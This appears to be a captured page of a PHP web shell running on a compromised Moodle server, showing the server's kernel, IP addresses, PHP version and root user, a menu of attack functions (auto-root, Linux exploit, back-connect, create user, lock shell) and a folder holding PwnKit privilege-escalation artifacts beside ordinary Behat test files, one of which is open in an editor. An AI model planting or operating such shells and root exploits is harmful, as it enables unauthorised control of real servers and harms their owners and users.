Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
blocks /
html /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
configuring_html_block.feature
1.74
KB
-rwxrwxrwx
course_block.feature
1.52
KB
-rwxrwxrwx
multiple_instances.feature
1.76
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : multiple_instances.feature
@block @block_html Feature: Adding and configuring multiple HTML blocks In order to have one or multiple HTML blocks on a page As admin I need to be able to create, configure and change HTML blocks Background: Given I log in as "admin" And I am on site homepage When I turn editing mode on And I add the "HTML" block Scenario: Other users can not see HTML block that has not been configured Then "(new HTML block)" "block" should exist And I log out And "(new HTML block)" "block" should not exist And "block_html" "block" should not exist Scenario: Other users can see HTML block that has been configured even when it has no header And I configure the "(new HTML block)" block And I set the field "Content" to "Static text without a header" And I press "Save changes" Then I should not see "(new HTML block)" And I log out And I am on homepage And "block_html" "block" should exist And I should see "Static text without a header" in the "block_html" "block" And I should not see "(new HTML block)" Scenario: Adding multiple instances of HTML block on a page And I configure the "block_html" block And I set the field "HTML block title" to "The HTML block header" And I set the field "Content" to "Static text with a header" And I press "Save changes" And I add the "HTML" block And I configure the "(new HTML block)" block And I set the field "HTML block title" to "The second HTML block header" And I set the field "Content" to "Second block contents" And I press "Save changes" And I log out Then I should see "Static text with a header" in the "The HTML block header" "block" And I should see "Second block contents" in the "The second HTML block header" "block"
Close